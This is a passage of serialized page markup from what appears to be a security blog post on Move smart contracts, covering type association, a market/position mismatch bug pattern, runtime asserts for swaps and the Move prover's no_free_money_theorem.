}\n\n",[12436],{"type":24,"tag":80,"props":12437,"children":12438},{"__ignoreMap":7},[12439,12447,12455,12496,12504,12533,12541,12578,12586,12623,12631,12668,12675,12682],{"type":24,"tag":147,"props":12440,"children":12441},{"class":149,"line":150},[12442],{"type":24,"tag":147,"props":12443,"children":12444},{"style":154},[12445],{"type":29,"value":12446},"  /// The struct to hold all the underlying `Coin`s.\n",{"type":24,"tag":147,"props":12448,"children":12449},{"class":149,"line":160},[12450],{"type":24,"tag":147,"props":12451,"children":12452},{"style":154},[12453],{"type":29,"value":12454},"  /// Stored as a resources.\n",{"type":24,"tag":147,"props":12456,"children":12457},{"class":149,"line":169},[12458,12462,12467,12471,12475,12480,12484,12488,12492],{"type":24,"tag":147,"props":12459,"children":12460},{"style":218},[12461],{"type":29,"value":11421},{"type":24,"tag":147,"props":12463,"children":12464},{"style":9044},[12465],{"type":29,"value":12466}," ReserveCoinContainer",{"type":24,"tag":147,"props":12468,"children":12469},{"style":235},[12470],{"type":29,"value":3583},{"type":24,"tag":147,"props":12472,"children":12473},{"style":247},[12474],{"type":29,"value":11435},{"type":24,"tag":147,"props":12476,"children":12477},{"style":9044},[12478],{"type":29,"value":12479}," Coin0",{"type":24,"tag":147,"props":12481,"children":12482},{"style":235},[12483],{"type":29,"value":11445},{"type":24,"tag":147,"props":12485,"children":12486},{"style":247},[12487],{"type":29,"value":11450},{"type":24,"tag":147,"props":12489,"children":12490},{"style":247},[12491],{"type":29,"value":11556},{"type":24,"tag":147,"props":12493,"children":12494},{"style":235},[12495],{"type":29,"value":6630},{"type":24,"tag":147,"props":12497,"children":12498},{"class":149,"line":178},[12499],{"type":24,"tag":147,"props":12500,"children":12501},{"style":154},[12502],{"type":29,"value":12503},"      /// Stores the available `Coin`.\n",{"type":24,"tag":147,"props":12505,"children":12506},{"class":149,"line":187},[12507,12512,12516,12520,12524,12529],{"type":24,"tag":147,"props":12508,"children":12509},{"style":247},[12510],{"type":29,"value":12511},"      underlying_coin",{"type":24,"tag":147,"props":12513,"children":12514},{"style":241},[12515],{"type":29,"value":978},{"type":24,"tag":147,"props":12517,"children":12518},{"style":9044},[12519],{"type":29,"value":11426},{"type":24,"tag":147,"props":12521,"children":12522},{"style":235},[12523],{"type":29,"value":3583},{"type":24,"tag":147,"props":12525,"children":12526},{"style":9044},[12527],{"type":29,"value":12528},"Coin0",{"type":24,"tag":147,"props":12530,"children":12531},{"style":235},[12532],{"type":29,"value":11763},{"type":24,"tag":147,"props":12534,"children":12535},{"class":149,"line":196},[12536],{"type":24,"tag":147,"props":12537,"children":12538},{"style":154},[12539],{"type":29,"value":12540},"      /// Stores the LP `Coin` that act as collateral.\n",{"type":24,"tag":147,"props":12542,"children":12543},{"class":149,"line":205},[12544,12549,12553,12557,12561,12565,12569,12573],{"type":24,"tag":147,"props":12545,"children":12546},{"style":247},[12547],{"type":29,"value":12548},"      collateralised_lp_coin",{"type":24,"tag":147,"props":12550,"children":12551},{"style":241},[12552],{"type":29,"value":978},{"type":24,"tag":147,"props":12554,"children":12555},{"style":9044},[12556],{"type":29,"value":11426},{"type":24,"tag":147,"props":12558,"children":12559},{"style":235},[12560],{"type":29,"value":3583},{"type":24,"tag":147,"props":12562,"children":12563},{"style":9044},[12564],{"type":29,"value":11960},{"type":24,"tag":147,"props":12566,"children":12567},{"style":235},[12568],{"type":29,"value":3583},{"type":24,"tag":147,"props":12570,"children":12571},{"style":9044},[12572],{"type":29,"value":12528},{"type":24,"tag":147,"props":12574,"children":12575},{"style":235},[12576],{"type":29,"value":12577},">>,\n",{"type":24,"tag":147,"props":12579,"children":12580},{"class":149,"line":214},[12581],{"type":24,"tag":147,"props":12582,"children":12583},{"style":154},[12584],{"type":29,"value":12585},"      /// Mint capability for LP Coin.\n",{"type":24,"tag":147,"props":12587,"children":12588},{"class":149,"line":272},[12589,12594,12598,12603,12607,12611,12615,12619],{"type":24,"tag":147,"props":12590,"children":12591},{"style":247},[12592],{"type":29,"value":12593},"      mint_capability",{"type":24,"tag":147,"props":12595,"children":12596},{"style":241},[12597],{"type":29,"value":978},{"type":24,"tag":147,"props":12599,"children":12600},{"style":9044},[12601],{"type":29,"value":12602}," MintCapability",{"type":24,"tag":147,"props":12604,"children":12605},{"style":235},[12606],{"type":29,"value":3583},{"type":24,"tag":147,"props":12608,"children":12609},{"style":9044},[12610],{"type":29,"value":11960},{"type":24,"tag":147,"props":12612,"children":12613},{"style":235},[12614],{"type":29,"value":3583},{"type":24,"tag":147,"props":12616,"children":12617},{"style":9044},[12618],{"type":29,"value":12528},{"type":24,"tag":147,"props":12620,"children":12621},{"style":235},[12622],{"type":29,"value":12577},{"type":24,"tag":147,"props":12624,"children":12625},{"class":149,"line":281},[12626],{"type":24,"tag":147,"props":12627,"children":12628},{"style":154},[12629],{"type":29,"value":12630},"      /// Burn capability for LP Coin.\n",{"type":24,"tag":147,"props":12632,"children":12633},{"class":149,"line":299},[12634,12639,12643,12648,12652,12656,12660,12664],{"type":24,"tag":147,"props":12635,"children":12636},{"style":247},[12637],{"type":29,"value":12638},"      burn_capability",{"type":24,"tag":147,"props":12640,"children":12641},{"style":241},[12642],{"type":29,"value":978},{"type":24,"tag":147,"props":12644,"children":12645},{"style":9044},[12646],{"type":29,"value":12647}," BurnCapability",{"type":24,"tag":147,"props":12649,"children":12650},{"style":235},[12651],{"type":29,"value":3583},{"type":24,"tag":147,"props":12653,"children":12654},{"style":9044},[12655],{"type":29,"value":11960},{"type":24,"tag":147,"props":12657,"children":12658},{"style":235},[12659],{"type":29,"value":3583},{"type":24,"tag":147,"props":12661,"children":12662},{"style":9044},[12663],{"type":29,"value":12528},{"type":24,"tag":147,"props":12665,"children":12666},{"style":235},[12667],{"type":29,"value":12577},{"type":24,"tag":147,"props":12669,"children":12670},{"class":149,"line":308},[12671],{"type":24,"tag":147,"props":12672,"children":12673},{"emptyLinePlaceholder":16},[12674],{"type":29,"value":314},{"type":24,"tag":147,"props":12676,"children":12677},{"class":149,"line":317},[12678],{"type":24,"tag":147,"props":12679,"children":12680},{"style":154},[12681],{"type":29,"value":12222},{"type":24,"tag":147,"props":12683,"children":12684},{"class":149,"line":332},[12685],{"type":24,"tag":147,"props":12686,"children":12687},{"style":235},[12688],{"type":29,"value":11496},{"type":24,"tag":25,"props":12690,"children":12691},{},[12692,12694,12699],{"type":29,"value":12693},"When creating a ",{"type":24,"tag":80,"props":12695,"children":12697},{"className":12696},[],[12698],{"type":29,"value":12429},{"type":29,"value":12700},", uniqueness is implicitly enforced by moving it into a hardcoded address.",{"type":24,"tag":137,"props":12702,"children":12704},{"className":8614,"code":12703,"language":8613,"meta":7,"style":7},"  public(friend) fun create\u003CCoin0>(\n      lp_store: &signer,\n      // ...\n  ) acquires Reserves {\n      lp::assert_is_lp_store(signer::address_of(lp_store));\n\n      // ...\n\n      move_to(lp_store, ReserveCoinContainer\u003CCoin0> {\n        // ...\n      });\n",[12705],{"type":24,"tag":80,"props":12706,"children":12707},{"__ignoreMap":7},[12708,12751,12777,12784,12805,12850,12857,12864,12871,12908,12915],{"type":24,"tag":147,"props":12709,"children":12710},{"class":149,"line":150},[12711,12716,12720,12725,12729,12734,12739,12743,12747],{"type":24,"tag":147,"props":12712,"children":12713},{"style":229},[12714],{"type":29,"value":12715},"  public",{"type":24,"tag":147,"props":12717,"children":12718},{"style":235},[12719],{"type":29,"value":480},{"type":24,"tag":147,"props":12721,"children":12722},{"style":247},[12723],{"type":29,"value":12724},"friend",{"type":24,"tag":147,"props":12726,"children":12727},{"style":235},[12728],{"type":29,"value":564},{"type":24,"tag":147,"props":12730,"children":12731},{"style":247},[12732],{"type":29,"value":12733},"fun",{"type":24,"tag":147,"props":12735,"children":12736},{"style":247},[12737],{"type":29,"value":12738}," create",{"type":24,"tag":147,"props":12740,"children":12741},{"style":235},[12742],{"type":29,"value":3583},{"type":24,"tag":147,"props":12744,"children":12745},{"style":9044},[12746],{"type":29,"value":12528},{"type":24,"tag":147,"props":12748,"children":12749},{"style":235},[12750],{"type":29,"value":12214},{"type":24,"tag":147,"props":12752,"children":12753},{"class":149,"line":160},[12754,12759,12763,12768,12773],{"type":24,"tag":147,"props":12755,"children":12756},{"style":247},[12757],{"type":29,"value":12758},"      lp_store",{"type":24,"tag":147,"props":12760,"children":12761},{"style":241},[12762],{"type":29,"value":978},{"type":24,"tag":147,"props":12764,"children":12765},{"style":241},[12766],{"type":29,"value":12767}," &",{"type":24,"tag":147,"props":12769,"children":12770},{"style":247},[12771],{"type":29,"value":12772},"signer",{"type":24,"tag":147,"props":12774,"children":12775},{"style":235},[12776],{"type":29,"value":1549},{"type":24,"tag":147,"props":12778,"children":12779},{"class":149,"line":169},[12780],{"type":24,"tag":147,"props":12781,"children":12782},{"style":154},[12783],{"type":29,"value":12222},{"type":24,"tag":147,"props":12785,"children":12786},{"class":149,"line":178},[12787,12792,12796,12801],{"type":24,"tag":147,"props":12788,"children":12789},{"style":235},[12790],{"type":29,"value":12791},"  ) ",{"type":24,"tag":147,"props":12793,"children":12794},{"style":247},[12795],{"type":29,"value":11969},{"type":24,"tag":147,"props":12797,"children":12798},{"style":9044},[12799],{"type":29,"value":12800}," Reserves",{"type":24,"tag":147,"props":12802,"children":12803},{"style":235},[12804],{"type":29,"value":6630},{"type":24,"tag":147,"props":12806,"children":12807},{"class":149,"line":187},[12808,12813,12817,12822,12827,12831,12836,12840,12845],{"type":24,"tag":147,"props":12809,"children":12810},{"style":235},[12811],{"type":29,"value":12812},"      lp",{"type":24,"tag":147,"props":12814,"children":12815},{"style":241},[12816],{"type":29,"value":9106},{"type":24,"tag":147,"props":12818,"children":12819},{"style":229},[12820],{"type":29,"value":12821},"assert_is_lp_store",{"type":24,"tag":147,"props":12823,"children":12824},{"style":235},[12825],{"type":29,"value":12826},"(signer",{"type":24,"tag":147,"props":12828,"children":12829},{"style":241},[12830],{"type":29,"value":9106},{"type":24,"tag":147,"props":12832,"children":12833},{"style":229},[12834],{"type":29,"value":12835},"address_of",{"type":24,"tag":147,"props":12837,"children":12838},{"style":235},[12839],{"type":29,"value":480},{"type":24,"tag":147,"props":12841,"children":12842},{"style":247},[12843],{"type":29,"value":12844},"lp_store",{"type":24,"tag":147,"props":12846,"children":12847},{"style":235},[12848],{"type":29,"value":12849},"));\n",{"type":24,"tag":147,"props":12851,"children":12852},{"class":149,"line":196},[12853],{"type":24,"tag":147,"props":12854,"children":12855},{"emptyLinePlaceholder":16},[12856],{"type":29,"value":314},{"type":24,"tag":147,"props":12858,"children":12859},{"class":149,"line":205},[12860],{"type":24,"tag":147,"props":12861,"children":12862},{"style":154},[12863],{"type":29,"value":12222},{"type":24,"tag":147,"props":12865,"children":12866},{"class":149,"line":214},[12867],{"type":24,"tag":147,"props":12868,"children":12869},{"emptyLinePlaceholder":16},[12870],{"type":29,"value":314},{"type":24,"tag":147,"props":12872,"children":12873},{"class":149,"line":272},[12874,12879,12883,12887,12891,12895,12899,12903],{"type":24,"tag":147,"props":12875,"children":12876},{"style":229},[12877],{"type":29,"value":12878},"      move_to",{"type":24,"tag":147,"props":12880,"children":12881},{"style":235},[12882],{"type":29,"value":480},{"type":24,"tag":147,"props":12884,"children":12885},{"style":247},[12886],{"type":29,"value":12844},{"type":24,"tag":147,"props":12888,"children":12889},{"style":235},[12890],{"type":29,"value":546},{"type":24,"tag":147,"props":12892,"children":12893},{"style":9044},[12894],{"type":29,"value":12429},{"type":24,"tag":147,"props":12896,"children":12897},{"style":235},[12898],{"type":29,"value":3583},{"type":24,"tag":147,"props":12900,"children":12901},{"style":9044},[12902],{"type":29,"value":12528},{"type":24,"tag":147,"props":12904,"children":12905},{"style":235},[12906],{"type":29,"value":12907},"> {\n",{"type":24,"tag":147,"props":12909,"children":12910},{"class":149,"line":281},[12911],{"type":24,"tag":147,"props":12912,"children":12913},{"style":154},[12914],{"type":29,"value":11800},{"type":24,"tag":147,"props":12916,"children":12917},{"class":149,"line":299},[12918],{"type":24,"tag":147,"props":12919,"children":12920},{"style":235},[12921],{"type":29,"value":12922},"      });\n",{"type":24,"tag":25,"props":12924,"children":12925},{},[12926],{"type":29,"value":12927},"In both these instances, type association only works because we create exactly one instance per type.",{"type":24,"tag":25,"props":12929,"children":12930},{},[12931,12933,12939,12941,12947,12948,12953],{"type":29,"value":12932},"On the other hand, consider if you have a ",{"type":24,"tag":80,"props":12934,"children":12936},{"className":12935},[],[12937],{"type":29,"value":12938},"Position\u003CT>",{"type":29,"value":12940}," and a ",{"type":24,"tag":80,"props":12942,"children":12944},{"className":12943},[],[12945],{"type":29,"value":12946},"Market\u003CT>",{"type":29,"value":6312},{"type":24,"tag":80,"props":12949,"children":12951},{"className":12950},[],[12952],{"type":29,"value":11612},{"type":29,"value":12954}," is the coin type.",{"type":24,"tag":137,"props":12956,"children":12958},{"className":8614,"code":12957,"language":8613,"meta":7,"style":7},"    struct Market\u003Cphantom T> {\n        reserves: Coin\u003CT>,\n        // ...\n    }\n\n    struct Position\u003Cphantom T> {\n        amount: u64,\n        // ...\n    }\n",[12959],{"type":24,"tag":80,"props":12960,"children":12961},{"__ignoreMap":7},[12962,12990,13018,13025,13032,13039,13067,13087,13094],{"type":24,"tag":147,"props":12963,"children":12964},{"class":149,"line":150},[12965,12969,12974,12978,12982,12986],{"type":24,"tag":147,"props":12966,"children":12967},{"style":218},[12968],{"type":29,"value":11677},{"type":24,"tag":147,"props":12970,"children":12971},{"style":9044},[12972],{"type":29,"value":12973}," Market",{"type":24,"tag":147,"props":12975,"children":12976},{"style":235},[12977],{"type":29,"value":3583},{"type":24,"tag":147,"props":12979,"children":12980},{"style":247},[12981],{"type":29,"value":11435},{"type":24,"tag":147,"props":12983,"children":12984},{"style":9044},[12985],{"type":29,"value":11543},{"type":24,"tag":147,"props":12987,"children":12988},{"style":235},[12989],{"type":29,"value":12907},{"type":24,"tag":147,"props":12991,"children":12992},{"class":149,"line":160},[12993,12998,13002,13006,13010,13014],{"type":24,"tag":147,"props":12994,"children":12995},{"style":247},[12996],{"type":29,"value":12997},"        reserves",{"type":24,"tag":147,"props":12999,"children":13000},{"style":241},[13001],{"type":29,"value":978},{"type":24,"tag":147,"props":13003,"children":13004},{"style":9044},[13005],{"type":29,"value":11426},{"type":24,"tag":147,"props":13007,"children":13008},{"style":235},[13009],{"type":29,"value":3583},{"type":24,"tag":147,"props":13011,"children":13012},{"style":9044},[13013],{"type":29,"value":11612},{"type":24,"tag":147,"props":13015,"children":13016},{"style":235},[13017],{"type":29,"value":11763},{"type":24,"tag":147,"props":13019,"children":13020},{"class":149,"line":169},[13021],{"type":24,"tag":147,"props":13022,"children":13023},{"style":154},[13024],{"type":29,"value":11800},{"type":24,"tag":147,"props":13026,"children":13027},{"class":149,"line":178},[13028],{"type":24,"tag":147,"props":13029,"children":13030},{"style":235},[13031],{"type":29,"value":1952},{"type":24,"tag":147,"props":13033,"children":13034},{"class":149,"line":187},[13035],{"type":24,"tag":147,"props":13036,"children":13037},{"emptyLinePlaceholder":16},[13038],{"type":29,"value":314},{"type":24,"tag":147,"props":13040,"children":13041},{"class":149,"line":196},[13042,13046,13051,13055,13059,13063],{"type":24,"tag":147,"props":13043,"children":13044},{"style":218},[13045],{"type":29,"value":11677},{"type":24,"tag":147,"props":13047,"children":13048},{"style":9044},[13049],{"type":29,"value":13050}," Position",{"type":24,"tag":147,"props":13052,"children":13053},{"style":235},[13054],{"type":29,"value":3583},{"type":24,"tag":147,"props":13056,"children":13057},{"style":247},[13058],{"type":29,"value":11435},{"type":24,"tag":147,"props":13060,"children":13061},{"style":9044},[13062],{"type":29,"value":11543},{"type":24,"tag":147,"props":13064,"children":13065},{"style":235},[13066],{"type":29,"value":12907},{"type":24,"tag":147,"props":13068,"children":13069},{"class":149,"line":205},[13070,13075,13079,13083],{"type":24,"tag":147,"props":13071,"children":13072},{"style":247},[13073],{"type":29,"value":13074},"        amount",{"type":24,"tag":147,"props":13076,"children":13077},{"style":241},[13078],{"type":29,"value":978},{"type":24,"tag":147,"props":13080,"children":13081},{"style":9044},[13082],{"type":29,"value":11484},{"type":24,"tag":147,"props":13084,"children":13085},{"style":235},[13086],{"type":29,"value":1549},{"type":24,"tag":147,"props":13088,"children":13089},{"class":149,"line":214},[13090],{"type":24,"tag":147,"props":13091,"children":13092},{"style":154},[13093],{"type":29,"value":11800},{"type":24,"tag":147,"props":13095,"children":13096},{"class":149,"line":272},[13097],{"type":24,"tag":147,"props":13098,"children":13099},{"style":235},[13100],{"type":29,"value":1952},{"type":24,"tag":25,"props":13102,"children":13103},{},[13104,13106,13111,13113,13118],{"type":29,"value":13105},"If ",{"type":24,"tag":80,"props":13107,"children":13109},{"className":13108},[],[13110],{"type":29,"value":12946},{"type":29,"value":13112}," isn't a unique type -- or in other words if you're able to create more than one instance of a market per type ",{"type":24,"tag":80,"props":13114,"children":13116},{"className":13115},[],[13117],{"type":29,"value":11612},{"type":29,"value":13119}," -- you might be able to pass in the incorrect market for a given position. This is a common vulnerability pattern on Solana.",{"type":24,"tag":25,"props":13121,"children":13122},{},[13123],{"type":29,"value":13124},"Dynamic iteration of types is also impossible (at least as currently designed by the Move VM) leading to massive headaches for developers. In these scenarios, we empirically observe developers defaulting back to type reflection APIs, complicating code unnecessarily. Security at the expense of usability comes at the expense of security.",{"type":24,"tag":137,"props":13126,"children":13128},{"className":8614,"code":13127,"language":8613,"meta":7,"style":7},"    /// Get the price of the token per lamport.\n    public fun get_price(type_info: TypeInfo): Decimal acquires Oracle {\n        let oracle = borrow_global_mut\u003COracle>(@oracle);\n        let price = table::borrow_mut_with_default\u003CTypeInfo, Decimal>(\n            &mut oracle.prices,\n            type_info,\n            decimal::one()\n        );\n        *price\n    }\n",[13129],{"type":24,"tag":80,"props":13130,"children":13131},{"__ignoreMap":7},[13132,13140,13202,13251,13303,13328,13340,13362,13370,13383],{"type":24,"tag":147,"props":13133,"children":13134},{"class":149,"line":150},[13135],{"type":24,"tag":147,"props":13136,"children":13137},{"style":154},[13138],{"type":29,"value":13139},"    /// Get the price of the token per lamport.\n",{"type":24,"tag":147,"props":13141,"children":13142},{"class":149,"line":160},[13143,13148,13152,13157,13161,13166,13170,13175,13179,13183,13188,13193,13198],{"type":24,"tag":147,"props":13144,"children":13145},{"style":247},[13146],{"type":29,"value":13147},"    public",{"type":24,"tag":147,"props":13149,"children":13150},{"style":247},[13151],{"type":29,"value":11832},{"type":24,"tag":147,"props":13153,"children":13154},{"style":229},[13155],{"type":29,"value":13156}," get_price",{"type":24,"tag":147,"props":13158,"children":13159},{"style":235},[13160],{"type":29,"value":480},{"type":24,"tag":147,"props":13162,"children":13163},{"style":247},[13164],{"type":29,"value":13165},"type_info",{"type":24,"tag":147,"props":13167,"children":13168},{"style":241},[13169],{"type":29,"value":978},{"type":24,"tag":147,"props":13171,"children":13172},{"style":9044},[13173],{"type":29,"value":13174}," TypeInfo",{"type":24,"tag":147,"props":13176,"children":13177},{"style":235},[13178],{"type":29,"value":8758},{"type":24,"tag":147,"props":13180,"children":13181},{"style":241},[13182],{"type":29,"value":978},{"type":24,"tag":147,"props":13184,"children":13185},{"style":9044},[13186],{"type":29,"value":13187}," Decimal",{"type":24,"tag":147,"props":13189,"children":13190},{"style":247},[13191],{"type":29,"value":13192}," acquires",{"type":24,"tag":147,"props":13194,"children":13195},{"style":9044},[13196],{"type":29,"value":13197}," Oracle",{"type":24,"tag":147,"props":13199,"children":13200},{"style":235},[13201],{"type":29,"value":6630},{"type":24,"tag":147,"props":13203,"children":13204},{"class":149,"line":169},[13205,13209,13214,13218,13223,13227,13232,13237,13242,13247],{"type":24,"tag":147,"props":13206,"children":13207},{"style":218},[13208],{"type":29,"value":8696},{"type":24,"tag":147,"props":13210,"children":13211},{"style":247},[13212],{"type":29,"value":13213}," oracle",{"type":24,"tag":147,"props":13215,"children":13216},{"style":241},[13217],{"type":29,"value":651},{"type":24,"tag":147,"props":13219,"children":13220},{"style":247},[13221],{"type":29,"value":13222}," borrow_global_mut",{"type":24,"tag":147,"props":13224,"children":13225},{"style":235},[13226],{"type":29,"value":3583},{"type":24,"tag":147,"props":13228,"children":13229},{"style":9044},[13230],{"type":29,"value":13231},"Oracle",{"type":24,"tag":147,"props":13233,"children":13234},{"style":235},[13235],{"type":29,"value":13236},">(",{"type":24,"tag":147,"props":13238,"children":13239},{"style":241},[13240],{"type":29,"value":13241},"@",{"type":24,"tag":147,"props":13243,"children":13244},{"style":247},[13245],{"type":29,"value":13246},"oracle",{"type":24,"tag":147,"props":13248,"children":13249},{"style":235},[13250],{"type":29,"value":1473},{"type":24,"tag":147,"props":13252,"children":13253},{"class":149,"line":178},[13254,13258,13263,13267,13272,13276,13281,13285,13290,13294,13299],{"type":24,"tag":147,"props":13255,"children":13256},{"style":218},[13257],{"type":29,"value":8696},{"type":24,"tag":147,"props":13259,"children":13260},{"style":247},[13261],{"type":29,"value":13262}," price",{"type":24,"tag":147,"props":13264,"children":13265},{"style":241},[13266],{"type":29,"value":651},{"type":24,"tag":147,"props":13268,"children":13269},{"style":235},[13270],{"type":29,"value":13271}," table",{"type":24,"tag":147,"props":13273,"children":13274},{"style":241},[13275],{"type":29,"value":9106},{"type":24,"tag":147,"props":13277,"children":13278},{"style":247},[13279],{"type":29,"value":13280},"borrow_mut_with_default",{"type":24,"tag":147,"props":13282,"children":13283},{"style":235},[13284],{"type":29,"value":3583},{"type":24,"tag":147,"props":13286,"children":13287},{"style":9044},[13288],{"type":29,"value":13289},"TypeInfo",{"type":24,"tag":147,"props":13291,"children":13292},{"style":235},[13293],{"type":29,"value":546},{"type":24,"tag":147,"props":13295,"children":13296},{"style":9044},[13297],{"type":29,"value":13298},"Decimal",{"type":24,"tag":147,"props":13300,"children":13301},{"style":235},[13302],{"type":29,"value":12214},{"type":24,"tag":147,"props":13304,"children":13305},{"class":149,"line":187},[13306,13311,13315,13319,13323],{"type":24,"tag":147,"props":13307,"children":13308},{"style":241},[13309],{"type":29,"value":13310},"            &",{"type":24,"tag":147,"props":13312,"children":13313},{"style":218},[13314],{"type":29,"value":9348},{"type":24,"tag":147,"props":13316,"children":13317},{"style":247},[13318],{"type":29,"value":13213},{"type":24,"tag":147,"props":13320,"children":13321},{"style":241},[13322],{"type":29,"value":87},{"type":24,"tag":147,"props":13324,"children":13325},{"style":235},[13326],{"type":29,"value":13327},"prices,\n",{"type":24,"tag":147,"props":13329,"children":13330},{"class":149,"line":196},[13331,13336],{"type":24,"tag":147,"props":13332,"children":13333},{"style":247},[13334],{"type":29,"value":13335},"            type_info",{"type":24,"tag":147,"props":13337,"children":13338},{"style":235},[13339],{"type":29,"value":1549},{"type":24,"tag":147,"props":13341,"children":13342},{"class":149,"line":205},[13343,13348,13352,13357],{"type":24,"tag":147,"props":13344,"children":13345},{"style":235},[13346],{"type":29,"value":13347},"            decimal",{"type":24,"tag":147,"props":13349,"children":13350},{"style":241},[13351],{"type":29,"value":9106},{"type":24,"tag":147,"props":13353,"children":13354},{"style":229},[13355],{"type":29,"value":13356},"one",{"type":24,"tag":147,"props":13358,"children":13359},{"style":235},[13360],{"type":29,"value":13361},"()\n",{"type":24,"tag":147,"props":13363,"children":13364},{"class":149,"line":214},[13365],{"type":24,"tag":147,"props":13366,"children":13367},{"style":235},[13368],{"type":29,"value":13369},"        );\n",{"type":24,"tag":147,"props":13371,"children":13372},{"class":149,"line":272},[13373,13378],{"type":24,"tag":147,"props":13374,"children":13375},{"style":241},[13376],{"type":29,"value":13377},"        *",{"type":24,"tag":147,"props":13379,"children":13380},{"style":247},[13381],{"type":29,"value":13382},"price\n",{"type":24,"tag":147,"props":13384,"children":13385},{"class":149,"line":281},[13386],{"type":24,"tag":147,"props":13387,"children":13388},{"style":235},[13389],{"type":29,"value":1952},{"type":24,"tag":25,"props":13391,"children":13392},{},[13393,13395,13400],{"type":29,"value":13394},"Type association feels like a proxy for the intended pattern -- associating resources with instances. It's very useful being able to store a reference to an ",{"type":24,"tag":8545,"props":13396,"children":13397},{},[13398],{"type":29,"value":13399},"instance",{"type":29,"value":13401}," of another resource (which is possible in Diem style move).",{"type":24,"tag":25,"props":13403,"children":13404},{},[13405],{"type":29,"value":13406},"In summary, when using type systems to bind resources to each other, it's important to either",{"type":24,"tag":2674,"props":13408,"children":13409},{},[13410,13415],{"type":24,"tag":2678,"props":13411,"children":13412},{},[13413],{"type":29,"value":13414},"Have unique initializers for your resources",{"type":24,"tag":2678,"props":13416,"children":13417},{},[13418],{"type":29,"value":13419},"Associate resources with instances directly",{"type":24,"tag":32,"props":13421,"children":13423},{"id":13422},"formal-verification",[13424],{"type":29,"value":13425},"Formal Verification",{"type":24,"tag":25,"props":13427,"children":13428},{},[13429],{"type":29,"value":13430},"Formal verification is another exciting feature.",{"type":24,"tag":25,"props":13432,"children":13433},{},[13434],{"type":29,"value":13435},"As part of our work with protocols, we actively use formal verification to prove aspects of security.",{"type":24,"tag":25,"props":13437,"children":13438},{},[13439,13441,13446],{"type":29,"value":13440},"However, this isn't a silver bullet. The key is figuring out ",{"type":24,"tag":8545,"props":13442,"children":13443},{},[13444],{"type":29,"value":13445},"what",{"type":29,"value":13447}," to prove.",{"type":24,"tag":25,"props":13449,"children":13450},{},[13451,13453,13460],{"type":29,"value":13452},"One obvious idea might be a properties across a particular function. For example, we might want to ensure that a swap doesn't reduce the value of the pool -- similar to the ",{"type":24,"tag":2773,"props":13454,"children":13457},{"href":13455,"rel":13456},"https://osec.io/blog/reports/2022-04-26-spl-swap-rounding/",[2777],[13458],{"type":29,"value":13459},"Solana AMM rounding issue",{"type":29,"value":13461}," we reported.",{"type":24,"tag":25,"props":13463,"children":13464},{},[13465],{"type":29,"value":13466},"However, this could also be checked with a simple runtime assert. For example, we recommended Pontem assert that liquidity pool token values are strictly increasing.",{"type":24,"tag":137,"props":13468,"children":13470},{"className":8614,"code":13469,"language":8613,"meta":7,"style":7},"  let cmp = u256::compare(&lp_value_after_swap_and_fee, &lp_value_before_swap_u256);\n  assert!(cmp == 2, ERR_INCORRECT_SWAP);\n",[13471],{"type":24,"tag":80,"props":13472,"children":13473},{"__ignoreMap":7},[13474,13535],{"type":24,"tag":147,"props":13475,"children":13476},{"class":149,"line":150},[13477,13482,13487,13491,13496,13500,13505,13509,13513,13518,13522,13526,13531],{"type":24,"tag":147,"props":13478,"children":13479},{"style":218},[13480],{"type":29,"value":13481},"  let",{"type":24,"tag":147,"props":13483,"children":13484},{"style":247},[13485],{"type":29,"value":13486}," cmp",{"type":24,"tag":147,"props":13488,"children":13489},{"style":241},[13490],{"type":29,"value":651},{"type":24,"tag":147,"props":13492,"children":13493},{"style":235},[13494],{"type":29,"value":13495}," u256",{"type":24,"tag":147,"props":13497,"children":13498},{"style":241},[13499],{"type":29,"value":9106},{"type":24,"tag":147,"props":13501,"children":13502},{"style":229},[13503],{"type":29,"value":13504},"compare",{"type":24,"tag":147,"props":13506,"children":13507},{"style":235},[13508],{"type":29,"value":480},{"type":24,"tag":147,"props":13510,"children":13511},{"style":241},[13512],{"type":29,"value":485},{"type":24,"tag":147,"props":13514,"children":13515},{"style":247},[13516],{"type":29,"value":13517},"lp_value_after_swap_and_fee",{"type":24,"tag":147,"props":13519,"children":13520},{"style":235},[13521],{"type":29,"value":546},{"type":24,"tag":147,"props":13523,"children":13524},{"style":241},[13525],{"type":29,"value":485},{"type":24,"tag":147,"props":13527,"children":13528},{"style":247},[13529],{"type":29,"value":13530},"lp_value_before_swap_u256",{"type":24,"tag":147,"props":13532,"children":13533},{"style":235},[13534],{"type":29,"value":1473},{"type":24,"tag":147,"props":13536,"children":13537},{"class":149,"line":160},[13538,13543,13547,13552,13556,13561],{"type":24,"tag":147,"props":13539,"children":13540},{"style":229},[13541],{"type":29,"value":13542},"  assert!",{"type":24,"tag":147,"props":13544,"children":13545},{"style":235},[13546],{"type":29,"value":480},{"type":24,"tag":147,"props":13548,"children":13549},{"style":247},[13550],{"type":29,"value":13551},"cmp",{"type":24,"tag":147,"props":13553,"children":13554},{"style":241},[13555],{"type":29,"value":8911},{"type":24,"tag":147,"props":13557,"children":13558},{"style":705},[13559],{"type":29,"value":13560}," 2",{"type":24,"tag":147,"props":13562,"children":13563},{"style":235},[13564],{"type":29,"value":13565},", ERR_INCORRECT_SWAP);\n",{"type":24,"tag":25,"props":13567,"children":13568},{},[13569,13571,13576],{"type":29,"value":13570},"The move prover really shines when we're proving relationships ",{"type":24,"tag":8545,"props":13572,"children":13573},{},[13574],{"type":29,"value":13575},"between",{"type":29,"value":13577}," functions.",{"type":24,"tag":25,"props":13579,"children":13580},{},[13581,13583,13589],{"type":29,"value":13582},"One example of a more complicated relationship that can't be proved easily via assertions would be the ",{"type":24,"tag":80,"props":13584,"children":13586},{"className":13585},[],[13587],{"type":29,"value":13588},"no_free_money_theorem",{"type":29,"value":13590}," in the move repository.",{"type":24,"tag":137,"props":13592,"children":13594},{"className":8614,"code":13593,"language":8613,"meta":7,"style":7},"  // #[test] // TODO: cannot specify the test-only functions\n  fun no_free_money_theorem(coin1_in: u64, coin2_in: u64): (u64, u64) acquires Pool {\n      let share = add_liquidity(coin1_in, coin2_in);\n      remove_liquidity(share)\n  }\n  spec no_free_money_theorem {\n      pragma verify=false;\n      ensures result_1 \u003C= coin1_in;\n      ensures result_2 \u003C= coin2_in;\n  }\n",[13595],{"type":24,"tag":80,"props":13596,"children":13597},{"__ignoreMap":7},[13598,13606,13694,13736,13757,13764,13780,13806,13833,13858],{"type":24,"tag":147,"props":13599,"children":13600},{"class":149,"line":150},[13601],{"type":24,"tag":147,"props":13602,"children":13603},{"style":154},[13604],{"type":29,"value":13605},"  // #[test] // TODO: cannot specify the test-only 